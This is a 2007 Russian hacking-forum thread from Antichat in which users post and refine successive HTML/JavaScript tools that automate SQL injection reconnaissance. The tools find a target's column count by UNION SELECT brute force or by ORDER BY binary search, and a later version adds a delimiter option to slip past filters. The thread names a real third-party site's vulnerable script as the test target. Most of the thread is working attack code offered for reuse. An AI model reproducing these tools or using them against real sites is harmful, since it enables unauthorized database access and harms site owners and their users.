Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Javascript-автоматизация поиска колич. колонок |

16.08.2007, 14:00
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Javascript-автоматизация поиска колич. колонок
Вот написал для себя (за пару часов) небольшой скриптик автоматизации sql-inj для определения колличества колонок. Я конечно понимаю, что дорабатывать его можно очень много, поэтому прошу строго не судить, тем более на javascript я кодер никакой
(выделил специально для inv, чтоб не стебался понапрасну. прим. автора)
, а предлагать усовершенствования и показать недостатки т.п. Главное он пашет!
Итак версия alpha 0.01
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик колличества столбцов</title>
</head>
<script>
var url="http://";
var tek_url=url;
var s="";
var n=0;
function poisk(f) {
tek_url=document.search.url.value;
document.search.colum.value="?";
document.search.tek_url.value=document.search.url.value+"-1+union+select+";
tek_url=document.search.url.value+"-1+union+select+";
while (n<50)
{
n++;
if (n==1) {s=s+n;}
else {s=s+","+n;}
tek_url=tek_url+s+"/*";
document.search.tek_url.value=tek_url;
document.search.colum.value=n;
changePage(tek_url);
pause ();
}
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
</script>
<form name=search method=post>
<label>Ведите путь до уязвимого скрпта
<input name="url" value="http://" size=160%>
</label><br>
<input onClick=poisk(search); type=button value="Подобрать число столбцов" name=calculateit>
<input readonly size=5 name=colum><br>
текущее значение<input name=tek_url size=180% readonly>
</form>
<body onload="changePage()">
<iframe id="ifrm" src="" width="100%" height="500%"/>
</body>
</html>
Затестить можно так:
Вводим путь до уязвимого скрипта:
Код:
http://sololiteratura.com/php/autor.php?id=
Жмякаем пимпу подобрать колличество столбцов, видим ошибку, жмякаем ещё, снова ошибка, ещё раз! Опс! Вот и наша скуля...  число столбцов = 3.
Последний раз редактировалось -=lebed=-; 16.08.2007 в 17:07..
|
|
|

16.08.2007, 14:20
|
|
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме: 876216
Репутация:
209
|
|
Прошу разрешения автора использовать его код!
Просто у меня немного все автоматизированее получается - просто не обязательно указывать скрипт и параметр - мой скрипт выдирает со страницы все ссылки и брутит их...
|
|
|

16.08.2007, 14:30
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от biophreak
Прошу разрешения автора использовать его код!
Просто у меня немного все автоматизированее получается - просто не обязательно указывать скрипт и параметр - мой скрипт выдирает со страницы все ссылки и брутит их...
Ты сначала посмотри что он делает, он ведь не определяет саму скулю, а только вставляет колонки! Подобрал или нет ты оцениваешь чисто визуально, сам!
ЗЫ Используй на своё усмотрение код, я не против...
|
|
|

16.08.2007, 16:09
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме: 7084941
Репутация:
2277
|
|
спасиба великий кодер =) /*не скрипт реально удобный*/
только если полей 50 или 30 то запаришься клацать 
я лично определяю по ордер бай.. так намного быстрее
|
|
|

16.08.2007, 16:23
|
|
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме: 951141
Репутация:
291
|
|
|
|
|

16.08.2007, 17:03
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от halkfild
спасиба великий кодер =) /*не скрипт реально удобный*/
только если полей 50 или 30 то запаришься клацать 
я лично определяю по ордер бай.. так намного быстрее
Согласен, замечание стоящее. Надо имхо сделать и эти способом, так меньше придётся делать запросов, если использовать метод бинарного поиска... (пополам, потом ещё пополам и т.д.)
ЗЫ Вручную полтинник вставлять вообще замахаешься...
|
|
|

17.08.2007, 01:22
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме: 7084941
Репутация:
2277
|
|
сделал с бинарным поиском...
полностю не тестил.. пару штук проверил вроде все ок..
вообщем вводите адрес вместес параметром
http://sololiteratura.com/php/autor.php?id=1
клацаете меньше пока не появится контент.. потом мона больше пока не появится ошибка.. вообщем там просто
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild">
<META name="copyright" content="© 2007 halkfild">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов © halkfild</title>
</head>
<script>
var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://";
var tek_url=url;
var k=0;
var LL; //left limit
var RL; //right limit
function poisk(f) {
tek_url=document.search.url.value;
LL=document.search.llc.value*1;
RL=document.search.rlc.value*1;
rgurl= document.search.rurl.value;
tek_url= tek_url + "+order+by+";
if (f==1) { //>
LL=LL+Math.floor((RL-LL)/2);
}
else { //<
RL=LL+Math.floor((RL-LL)/2);
}
k=Math.floor(LL+(RL-LL)/2);
tek_url= tek_url + k + rgurl;
document.search.llc.value=LL;
document.search.rlc.value=RL;
document.search.tek_url.value=tek_url;
changePage(tek_url);
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
</script>
<form name=search method=post>
<label>Ведите путь к уязвимому скрипту<br>
<input name="url" value="http://sololiteratura.com/php/autor.php?id=1" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
</label><br>
<input onClick=poisk(1); type=button value="больше >" style='width:100px;'>
<input onClick=poisk(2); type=button value="меньше <" style='width:100px;'>
Границы поиска количества
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/>
</form>
<body onload="changePage()"> <iframe id="ifrm" src="null"></body>
</html>
з.ы. завтра нормально потестю..
*
[+] добавлена возможность использования правой части URL вида http://site.com/script.php?parametr=1[inj]&bla=bla&bla1=bla&bla2=bla
Последний раз редактировалось halkfild; 17.08.2007 в 11:32..
|
|
|

17.08.2007, 04:26
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Ждите теперь сборку 2in1, halkfild обещал всё это дело слить в один флакон...
Последний раз редактировалось -=lebed=-; 17.08.2007 в 16:09..
|
|
|

27.08.2007, 00:45
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме: 7084941
Репутация:
2277
|
|
ну вот я и приехал..
вот cделал все одним файлом. можно выбирать каким методом будет производится подбор
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild, -=lebed=-">
<META name="copyright" content="© 2007 halkfild">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div
{
display:none;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов © halkfild & -=lebed=-</title>
</head>
<script>
var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://";
var tek_url=url;
var k=0;
var LL; //left limit
var RL; //right limit
var s="";
var n=0;
function b_search(f) {
tek_url=document.binSearch.url.value;
LL=document.binSearch.llc.value*1;
RL=document.binSearch.rlc.value*1;
rgurl= document.binSearch.rurl.value;
tek_url= tek_url + "+order+by+";
if (f==1) { //>
LL=LL+Math.floor((RL-LL)/2);
}
else { //<
RL=LL+Math.floor((RL-LL)/2);
}
k=Math.floor(LL+(RL-LL)/2);
tek_url= tek_url + k + rgurl;
document.binSearch.llc.value=LL;
document.binSearch.rlc.value=RL;
document.binSearch.tek_url.value=tek_url;
changePage(tek_url);
}
function poisk(f) {
tek_url=document.bruteSearch.url.value;
document.bruteSearch.colum.value="?";
document.bruteSearch.tek_url.value=document.bruteSearch.url. value+"-1+union+select+";
tek_url=document.bruteSearch.url.value+"-1+union+select+";
while (n<50)
{
n++;
if (n==1) {s=s+n;}
else {s=s+","+n;}
tek_url=tek_url+s+"/*";
document.bruteSearch.tek_url.value=tek_url;
document.bruteSearch.colum.value=n;
changePage(tek_url);
pause ();
}
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
function dShow(type){
if (type==1) {
document.getElementById( "brute" ).style.display='none';
document.getElementById( "binary" ).style.display='inline';
}
else {
document.getElementById( "binary" ).style.display='none';
document.getElementById( "brute" ).style.display='inline';
}
}
</script>
<body onload="changePage()">
<label><b>JavaScript-подборщик количества полей</b></label><br/>
<input type="radio" checked=1 name="type" onClick=dShow(1);>Binary search © <b>halkfild</b>
<input type="radio" name="type" onClick=dShow(2);>Bruteforce © <b>-=lebed=-</b><br/>
<div id="binary" style='display:inline;'>
<form name=binSearch method=post>
<label>Введите путь к уязвимому скрипту</label><br>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
<input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
<input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
Границы поиска количества
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/>
</form>
</div>
<div id="brute">
<form name=bruteSearch method=post>
<label>Введите путь до уязвимого скрипта
<input name="url" value="http://" style='width:600px;'>
</label><br>
<input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit>
<input readonly size=5 name=colum><br>
адрессная строка(URL)<input name=tek_url readonly style='width:600px;'>
</form>
</div>
<iframe id="ifrm" src="null"></body>
</html>
cделаю наверное еще автоподстановку версии и тд. но это уже завтра
з.ы. если есть какие-то предложения или конструктивная критика пишите
Последний раз редактировалось halkfild; 27.08.2007 в 14:57..
|
|
|

27.08.2007, 23:45
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме: 7084941
Репутация:
2277
|
|
версия 0.2.1
[~] исправлены недочеты в последовательном переборе
[+] добавлена возможность выбора разделителя ('+','/**/', ' ') /*зы за идею отдельное спасибо +toxa+*/
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<META name="author" content="halkfild, -=lebed=-">
<META name="copyright" content="© 2007 halkfild">
<style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:14px;
text-align:center;
color:#B9B9BD;
}
form
{
padding:10px;
border:1px solid #666;
width:700px;
margin:0 auto;
}
iframe
{
padding:10px;
border:1px solid #666;
width:700px;
height:500px;
margin:0 auto;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
div
{
display:none;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Подборщик количества столбцов © halkfild & -=lebed=-</title>
</head>
<script>
var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://";
var tek_url=url;
var k=0;
var LL; //left limit
var RL; //right limit
var s="";
var n=0;
function b_search(f) {
tek_url=document.binSearch.url.value;
LL=document.binSearch.llc.value*1;
RL=document.binSearch.rlc.value*1;
rgurl= document.binSearch.rurl.value;
var dlim = document.binSearch.delimiter.value;
//tek_url= tek_url + "+order+by+";
tek_url= tek_url + dlim+"order"+dlim+"by"+dlim;
if (f==1) { //>
LL=LL+Math.floor((RL-LL)/2);
}
else { //<
RL=LL+Math.floor((RL-LL)/2);
}
k=Math.floor(LL+(RL-LL)/2);
tek_url= tek_url + k + rgurl;
document.binSearch.llc.value=LL;
document.binSearch.rlc.value=RL;
document.binSearch.tek_url.value=tek_url;
changePage(tek_url);
}
function poisk(f) {
tek_url=document.bruteSearch.url.value;
document.bruteSearch.colum.value="?";
var dlim = document.bruteSearch.delimiter.value;
//document.bruteSearch.tek_url.value=document.bruteSearch.url. value+"-1+union+select+";
document.bruteSearch.tek_url.value=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim;
tek_url=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim;
while (n<50)
{
n++;
if (n==1) {s=s+n;}
else {s=s+","+n;}
tek_url=tek_url+s+"/*";
document.bruteSearch.tek_url.value=tek_url;
document.bruteSearch.colum.value=n;
changePage(tek_url);
pause ();
}
}
function changePage(p) {
document.getElementById( "ifrm" ).src = p;
}
function dShow(type){
if (type==1) {
document.getElementById( "brute" ).style.display='none';
document.getElementById( "binary" ).style.display='inline';
}
else {
document.getElementById( "binary" ).style.display='none';
document.getElementById( "brute" ).style.display='inline';
}
}
</script>
<body onload="changePage()">
<label><b>JavaScript-подборщик количества полей</b></label><br/>
<input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search © <b>halkfild</b>
<input type="radio" name="type" onClick=dShow(2);> Bruteforce © <b>-=lebed=-</b><br/>
<div id="binary" style='display:inline;'>
<form name=binSearch method=post>
<label>Введите путь к уязвимому скрипту</label><br>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
<input onClick=b_search(1); type=button value="больше >" style='width:100px;'>
<input onClick=b_search(2); type=button value="меньше <" style='width:100px;'>
Границы поиска количества
<input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/>
адрессная строка(URL)<br/><input name=tek_url readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/>
</form>
</div>
<div id="brute">
<form name=bruteSearch method=post>
<label>Введите путь до уязвимого скрипта</label><br/>
<input name="url" value="http://" style='width:388px;'>
<input name="rurl" value="/*&" style='width:200px;'>
<br>
Разделитель <input name=delimiter style='width:45px;' value="+">
<input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'>
Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/>
адрессная строка(URL)<input name=tek_url readonly style='width:600px;'>
</form>
</div>
<iframe id="ifrm" src="null"></body>
</html>
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|